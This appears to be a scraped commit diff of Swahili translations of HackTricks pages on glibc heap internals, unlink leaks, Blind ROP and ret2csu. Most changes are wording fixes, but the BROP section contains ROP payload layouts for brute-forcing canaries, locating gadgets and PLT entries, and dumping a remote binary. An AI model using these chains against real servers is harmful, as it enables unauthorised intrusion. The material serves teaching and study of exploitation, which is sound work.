Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before ![]() (image error) Size: 71 KiB After ![]() (image error) Size: 1.6 KiB ![]() ![]() |
Before ![]() (image error) Size: 1.6 KiB After ![]() (image error) Size: 32 KiB ![]() ![]() |
Before ![]() (image error) Size: 32 KiB After ![]() (image error) Size: 142 KiB ![]() ![]() |
Before ![]() (image error) Size: 142 KiB After ![]() (image error) Size: 108 KiB ![]() ![]() |
Before ![]() (image error) Size: 108 KiB After ![]() (image error) Size: 63 KiB ![]() ![]() |
Before ![]() (image error) Size: 63 KiB After ![]() (image error) Size: 36 KiB ![]() ![]() |
Before ![]() (image error) Size: 36 KiB After ![]() (image error) Size: 3.7 KiB ![]() ![]() |
Before ![]() (image error) Size: 15 KiB After ![]() (image error) Size: 33 KiB ![]() ![]() |
Before ![]() (image error) Size: 33 KiB After ![]() (image error) Size: 116 KiB ![]() ![]() |
Before ![]() (image error) Size: 116 KiB After ![]() (image error) Size: 418 KiB ![]() ![]() |
Before ![]() (image error) Size: 418 KiB After ![]() (image error) Size: 35 KiB ![]() ![]() |
Before ![]() (image error) Size: 35 KiB After ![]() (image error) Size: 3.7 KiB ![]() ![]() |
Before ![]() (image error) Size: 14 KiB After ![]() (image error) Size: 74 KiB ![]() ![]() |
Before ![]() (image error) Size: 74 KiB After ![]() (image error) Size: 271 KiB ![]() ![]() |
Before ![]() (image error) Size: 271 KiB After ![]() (image error) Size: 105 KiB ![]() ![]() |
Before ![]() (image error) Size: 105 KiB After ![]() (image error) Size: 13 KiB ![]() ![]() |
Before ![]() (image error) Size: 13 KiB After ![]() (image error) Size: 461 KiB ![]() ![]() |
Before ![]() (image error) Size: 76 KiB After ![]() (image error) Size: 254 KiB ![]() ![]() |
Before ![]() (image error) Size: 254 KiB After ![]() (image error) Size: 5.5 KiB ![]() ![]() |
Before ![]() (image error) Size: 5.5 KiB After ![]() (image error) Size: 254 KiB ![]() ![]() |
Before ![]() (image error) Size: 254 KiB After ![]() (image error) Size: 112 KiB ![]() ![]() |
Before ![]() (image error) Size: 112 KiB After ![]() (image error) Size: 22 KiB ![]() ![]() |
Before ![]() (image error) Size: 22 KiB After ![]() (image error) Size: 35 KiB ![]() ![]() |
Before ![]() (image error) Size: 35 KiB After ![]() (image error) Size: 216 KiB ![]() ![]() |
|
@ -838,7 +838,8 @@
|
|||
* [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
|
||||
* [4. Pre-training](todo/llm-training-data-preparation/4.-pre-training.md)
|
||||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
|
|
|
@ -50,7 +50,7 @@ Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za sekondari katika maomb
|
|||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Struktura hii inatenga taarifa muhimu za heap. Aidha, kumbukumbu ya heap inaweza kuwa si ya mfululizo baada ya ugawaji zaidi, struktura hii pia itahifadhi taarifa hiyo.
|
||||
Strukt hii inatenga taarifa muhimu za heap. Aidha, kumbukumbu ya heap inaweza kuwa si ya mfululizo baada ya ugawaji zaidi, strukt hii pia itahifadhi taarifa hiyo.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -88,9 +88,9 @@ Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (angalia msimbo
|
|||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` ina **viungo** kwa **chunks za kwanza na za mwisho** za **bins** ndogo, kubwa na zisizo na mpangilio (the -2 ni kwa sababu index 0 haitumiki)
|
||||
* Kwa hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
|
||||
* Struktura `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za maeneo
|
||||
* Miundo `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za maeneo
|
||||
* Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara tu chunk ya juu inapokuwa "bila", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
|
||||
* Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haipatikani na kwa hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
|
||||
* Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haipatikani na kwa hivyo chunk kubwa inakatwa, sehemu iliyobaki ya kiungo inawekwa hapa.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -177,12 +177,12 @@ Zaidi ya hayo, wakati inapatikana, data ya mtumiaji inatumika pia kubeba data fu
|
|||
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Kumbuka jinsi kuunganisha orodha hii inazuia hitaji la kuwa na array ambapo kila kipande kimoja kinarekodiwa.
|
||||
Kumbuka jinsi kuunganisha orodha kwa njia hii kunazuia haja ya kuwa na array ambapo kila kipande kimoja kinarekodiwa.
|
||||
{% endhint %}
|
||||
|
||||
### Kielekezi za Kipande
|
||||
|
||||
Wakati malloc inatumika, kielekezi kwa maudhui ambayo yanaweza kuandikwa kinarejeshwa (tu baada ya vichwa), hata hivyo, wakati wa kusimamia vipande, inahitajika kielekezi kwa mwanzo wa vichwa (metadata).\
|
||||
Wakati malloc inatumika, kielekezi kwa maudhui ambayo yanaweza kuandikwa kinarejeshwa (karibu baada ya vichwa), hata hivyo, wakati wa kusimamia vipande, inahitajika kielekezi kwa mwanzo wa vichwa (metadata).\
|
||||
Kwa ajili ya mabadiliko haya, kazi hizi zinatumika:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Kumbuka kwamba kwa kuhesabu jumla ya nafasi inayohitajika, `SIZE_SZ` inaongezwa mara moja tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, hivyo basi kichwa cha awali pekee kinahitajika.
|
||||
Kumbuka kwamba kwa kuhesabu jumla ya nafasi inayohitajika, `SIZE_SZ` inaongezwa mara 1 tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, hivyo basi kichwa cha awali pekee kinahitajika.
|
||||
|
||||
### Pata data ya Chunk na badilisha metadata
|
||||
|
||||
|
@ -470,19 +470,19 @@ return 0;
|
|||
|
||||
Kwa kuangalia mfano wa awali, inawezekana kuona jinsi mwanzoni kuna arena 1 tu:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kisha, baada ya kuita thread ya kwanza, ile inayoiita malloc, arena mpya inaundwa:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
na ndani yake kuna chunks kadhaa zinazopatikana:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuachiliwa katika:
|
||||
Angalia ni bins zipi na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuachiliwa katika:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
|
@ -490,7 +490,7 @@ Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa n
|
|||
|
||||
## Heap Functions Security Checks
|
||||
|
||||
Functions zinazohusiana na heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
|
||||
Functions zinazohusika katika heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
|
||||
|
||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
|
|
|
@ -9,7 +9,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
@ -67,29 +67,29 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
Check this great graphical explanation of the unlink process:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Security Checks
|
||||
|
||||
* Angalia kama saizi iliyotajwa ya kipande ni sawa na prev\_size iliyotajwa katika kipande kinachofuata
|
||||
* Angalia kama saizi iliyotajwa ya chunk ni sawa na prev\_size iliyotajwa katika chunk inayofuata
|
||||
* Angalia pia kwamba `P->fd->bk == P` na `P->bk->fw == P`
|
||||
* Ikiwa kipande si kidogo, angalia kwamba `P->fd_nextsize->bk_nextsize == P` na `P->bk_nextsize->fd_nextsize == P`
|
||||
* Ikiwa chunk si ndogo, angalia kwamba `P->fd_nextsize->bk_nextsize == P` na `P->bk_nextsize->fd_nextsize == P`
|
||||
|
||||
### Leaks
|
||||
|
||||
Kipande kisichounganishwa hakifutii anwani zilizotengwa, hivyo kuwa na ufikiaji wa rad, inawezekana kuvuja anwani za kuvutia:
|
||||
Chunk isiyounganishwa haifutii anwani zilizotolewa, hivyo kuwa na ufikiaji wa rad, inawezekana kuvuja anwani za kuvutia:
|
||||
|
||||
Libc Leaks:
|
||||
|
||||
* Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa `malloc_state` katika libc
|
||||
* Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa `malloc_state` katika libc
|
||||
* Wakati orodha iliyo na viungo viwili ina kipande kimoja tu cha bure, P iko katika orodha iliyo na viungo viwili, na `fd` na `bk` zote zinaweza kuvuja anwani ndani ya `malloc_state`.
|
||||
* Wakati orodha iliyo na viungo viwili ina chunk moja tu ya bure, P iko katika orodha iliyo na viungo viwili, na zote `fd` na `bk` zinaweza kuvuja anwani ndani ya `malloc_state`.
|
||||
|
||||
Heap leaks:
|
||||
|
||||
* Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa kipande kinachopatikana katika heap
|
||||
* Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa kipande kinachopatikana katika heap
|
||||
* Ikiwa P iko katika orodha iliyo na viungo viwili, `fd` na `bk` zote zitakuwa zikielekeza kwa kipande kinachopatikana katika heap
|
||||
* Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa chunk inayopatikana katika heap
|
||||
* Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa chunk inayopatikana katika heap
|
||||
* Ikiwa P iko katika orodha iliyo na viungo viwili, zote `fd` na `bk` zitakuwa zikielekeza kwa chunk inayopatikana katika heap
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -9,8 +9,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.pn
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -25,7 +25,7 @@ Shambulio hili linategemea hali ifuatayo:
|
|||
|
||||
## Shambulio
|
||||
|
||||
### **1. Pata offset iliyo hatarini** ukituma herufi moja zaidi hadi kasoro ya seva itambuliwe
|
||||
### **1. Pata offset iliyo hatarini** ukituma herufi moja zaidi hadi kutambua hitilafu ya seva
|
||||
|
||||
### **2. Brute-force canary** ili kuvuja
|
||||
|
||||
|
@ -35,13 +35,13 @@ Unaweza kupata maelezo zaidi kuhusu michakato hii [hapa (BF Forked & Threaded St
|
|||
|
||||
### **4. Pata gadget ya kusimamisha**
|
||||
|
||||
Gadget hii kimsingi inaruhusu kuthibitisha kwamba kitu cha kuvutia kimefanywa na gadget ya ROP kwa sababu utekelezaji haukuanguka. Kawaida, gadget hii itakuwa kitu ambacho **kinasimamisha utekelezaji** na iko mwishoni mwa mnyororo wa ROP wakati wa kutafuta gadgets za ROP ili kuthibitisha gadget maalum ya ROP ilitekelezwa.
|
||||
Gadget hii kimsingi inaruhusu kuthibitisha kwamba kitu cha kuvutia kimefanywa na gadget ya ROP kwa sababu utekelezaji haukuanguka. Kawaida, gadget hii itakuwa kitu ambacho **kinasimamisha utekelezaji** na iko mwishoni mwa mchain ya ROP wakati wa kutafuta gadgets za ROP ili kuthibitisha gadget maalum ya ROP ilitekelezwa.
|
||||
|
||||
### **5. Pata gadget ya BROP**
|
||||
|
||||
Teknolojia hii inatumia gadget ya [**ret2csu**](ret2csu.md). Na hii ni kwa sababu ikiwa unapata gadget hii katikati ya maagizo fulani unapata gadgets za kudhibiti **`rsi`** na **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Hizi zingekuwa gadgets:
|
||||
|
||||
|
@ -50,13 +50,13 @@ Hizi zingekuwa gadgets:
|
|||
|
||||
Tazama jinsi kwa gadgets hizo inawezekana **kudhibiti hoja 2** za kazi ya kuita.
|
||||
|
||||
Pia, angalia kwamba gadget ya ret2csu ina **saini ya kipekee sana** kwa sababu itakuwa ikipiga 6 registers kutoka kwenye stack. Hivyo kutuma mnyororo kama:
|
||||
Pia, angalia kwamba gadget ya ret2csu ina **saini ya kipekee sana** kwa sababu itakuwa ikipiga 6 registers kutoka kwenye stack. Hivyo kutuma mchain kama:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Ikiwa **STOP inatekelezwa**, hii kimsingi inamaanisha **anwani inayopiga 6 registers** kutoka kwenye stack ilitumika. Au kwamba anwani iliyotumika pia ilikuwa anwani ya STOP.
|
||||
|
||||
Ili **kuondoa chaguo hili la mwisho** mnyororo mpya kama ifuatavyo unatekelezwa na haupaswi kutekeleza gadget ya STOP ili kuthibitisha kwamba ya awali ilipiga registers 6:
|
||||
Ili **kuondoa chaguo hili la mwisho** mchain mpya kama ifuatavyo inatekelezwa na haipaswi kutekeleza gadget ya STOP ili kuthibitisha ya kwamba ya awali ilipiga registers 6:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
|
@ -64,7 +64,7 @@ Kujua anwani ya gadget ya ret2csu, inawezekana **kudhani anwani ya gadgets za ku
|
|||
|
||||
### 6. Pata PLT
|
||||
|
||||
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka **anwani ya RIP iliyo vuja** kutoka kwenye stack (ikiwa **PIE** inatumika). **Kuingia** za meza zime **gawanywa na 16B** (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingiza katika **PLT + 6B pia haianguki** kwani ndiyo msimbo wa kwanza unaotekelezwa.
|
||||
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka **anwani ya RIP iliyovuja** kutoka kwenye stack (ikiwa **PIE** inatumika). **Kuingia** za meza zime **gawanywa na 16B** (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingia katika **PLT + 6B pia haianguki** kwani ni msimbo wa kwanza unaotekelezwa.
|
||||
|
||||
Kwa hivyo, inawezekana kupata meza ya PLT kuangalia tabia zifuatazo:
|
||||
|
||||
|
@ -83,10 +83,10 @@ Inawezekana kupata eneo la **`strcmp`** katika PLT kulingana na tabia yake kwa k
|
|||
* strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
|
||||
* strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
|
||||
|
||||
Inawezekana kuangalia hii kwa kuita kila kuingiza katika meza ya PLT au kwa kutumia **njia ya polepole ya PLT** ambayo kimsingi inajumuisha **kuita kuingiza katika meza ya PLT + 0xb** (ambayo inaita **`dlresolve`**) ikifuatana kwenye stack na **nambari ya kuingiza ambayo mtu anataka kuchunguza** (ikianza na sifuri) ili kuchunguza kuingiza zote za PLT kutoka ya kwanza:
|
||||
Inawezekana kuangalia hii kwa kuita kila kuingia katika meza ya PLT au kwa kutumia **njia ya polepole ya PLT** ambayo kimsingi inajumuisha **kuita kuingia katika meza ya PLT + 0xb** (ambayo inaita **`dlresolve`**) ikifuatwa kwenye stack na **nambari ya kuingia ambayo mtu anataka kuchunguza** (ikianza na sifuri) ili kuchanganua kuingia zote za PLT kutoka ya kwanza:
|
||||
|
||||
* strcmp(\<anwani isiyo ya kusoma>, \<anwani ya kusoma>) -> kuanguka
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Itanguka
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Itakuwa kuanguka
|
||||
* strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
|
||||
|
@ -94,9 +94,9 @@ Inawezekana kuangalia hii kwa kuita kila kuingiza katika meza ya PLT au kwa kutu
|
|||
|
||||
Kumbuka kwamba:
|
||||
|
||||
* BROP + 0x7 inaelekeza kwa **`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 inaelekeza kwa **`pop RDI; ret;`**
|
||||
* PLT + 0xb inaelekeza kwa wito wa **dl\_resolve**.
|
||||
* BROP + 0x7 inaelekeza kwenye **`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 inaelekeza kwenye **`pop RDI; ret;`**
|
||||
* PLT + 0xb inaelekeza kwenye wito wa **dl\_resolve**.
|
||||
|
||||
Baada ya kupata `strcmp` inawezekana kuweka **`rdx`** kwa thamani kubwa kuliko 0.
|
||||
|
||||
|
@ -106,7 +106,7 @@ Kumbuka kwamba kawaida `rdx` itakuwa tayari na thamani kubwa kuliko 0, hivyo hat
|
|||
|
||||
### 8. Kutafuta Write au sawa
|
||||
|
||||
Hatimaye, inahitajika gadget inayoweza kutoa data ili kutoa binary. Na katika hatua hii inawezekana **kudhibiti hoja 2 na kuweka `rdx` kubwa kuliko 0.**
|
||||
Hatimaye, inahitajika gadget inayotoa data ili kutoa binary. Na katika wakati huu inawezekana **kudhibiti hoja 2 na kuweka `rdx` kuwa kubwa kuliko 0.**
|
||||
|
||||
Kuna kazi 3 za kawaida ambazo zinaweza kutumika kwa hili:
|
||||
|
||||
|
@ -118,7 +118,7 @@ Hata hivyo, karatasi ya asili inataja tu ile ya **`write`**, hivyo hebu tuzungum
|
|||
|
||||
Tatizo la sasa ni kwamba hatujui **wapi kazi ya write iko ndani ya PLT** na hatujui **nambari ya fd ya kutuma data kwa socket yetu**.
|
||||
|
||||
Hata hivyo, tunajua **wapi meza ya PLT iko** na inawezekana kupata write kulingana na **tabia yake**. Na tunaweza kuunda **michango kadhaa** na seva na kutumia **FD ya juu** tukitumai kwamba inalingana na baadhi ya michango yetu.
|
||||
Hata hivyo, tunajua **wapi meza ya PLT iko** na inawezekana kupata write kulingana na **tabia yake**. Na tunaweza kuunda **michango kadhaa** na seva na kutumia **FD ya juu** tukitumaini kwamba inalingana na baadhi ya michango yetu.
|
||||
|
||||
Saini za tabia za kupata kazi hizo:
|
||||
|
||||
|
@ -126,7 +126,7 @@ Saini za tabia za kupata kazi hizo:
|
|||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi dprintf ilipatikana
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ikiwa kuna data iliyochapishwa, basi write ilipatikana
|
||||
|
||||
## Utekelezaji wa Kiotomatiki
|
||||
## Utekelezaji wa Otomatiki
|
||||
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
|
@ -144,8 +144,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.pn
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
**ret2csu** ni mbinu ya udukuzi inayotumika unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata **gadgets** unazotumia kawaida kubadilisha tabia ya programu.
|
||||
|
||||
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyoongea na kila mmoja. Kati ya kazi hizi kuna vito vya siri ambavyo vinaweza kutenda kama gadgets zetu zinazokosekana, hasa moja inayoitwa `__libc_csu_init`.
|
||||
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyoongea na kila mmoja. Kati ya kazi hizi kuna baadhi ya vito vilivyofichwa ambavyo vinaweza kutenda kama gadgets zetu zinazokosekana, hasa moja inayoitwa `__libc_csu_init`.
|
||||
|
||||
### The Magic Gadgets in \_\_libc\_csu\_init
|
||||
|
||||
|
@ -37,11 +37,11 @@ pop r14;
|
|||
pop r15;
|
||||
ret;
|
||||
```
|
||||
This gadget allows us to control these registers by popping values off the stack into them.
|
||||
Hii gadget inatupa uwezo wa kudhibiti hizi registers kwa kupopoa thamani kutoka kwenye stack ndani yao.
|
||||
|
||||
2. The second sequence uses the values we set up to do a couple of things:
|
||||
* **Hamisha thamani maalum kwenye register nyingine**, na kuziandaa kwa ajili yetu kuzitumia kama vigezo katika kazi.
|
||||
* **Fanya wito kwa eneo** lililopangwa kwa kuongeza pamoja thamani katika r15 na rbx, kisha kuzaa rbx kwa 8.
|
||||
2. Mfululizo wa pili unatumia thamani tulizoweka kufanya mambo kadhaa:
|
||||
* **Hamisha thamani maalum kwenye registers nyingine**, na kuziandaa kwa ajili yetu kuzitumia kama vigezo katika kazi.
|
||||
* **Fanya wito kwa eneo** lililopangwa kwa kujumlisha thamani katika r15 na rbx, kisha kuzidisha rbx kwa 8.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -62,7 +62,7 @@ ret
|
|||
```
|
||||
Masharti yatakuwa:
|
||||
|
||||
* `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa huna wazo na hakuna pie, unaweza tu kutumia kazi ya `_init`):
|
||||
* `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa huna wazo na hakuna pie, unaweza kutumia tu kazi ya `_init`):
|
||||
* Ikiwa \_init iko kwenye `0x400560`, tumia GEF kutafuta kiashiria katika kumbukumbu kwake na ufanye `[r12 + rbx*8]` kuwa anwani yenye kiashiria cha \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
|
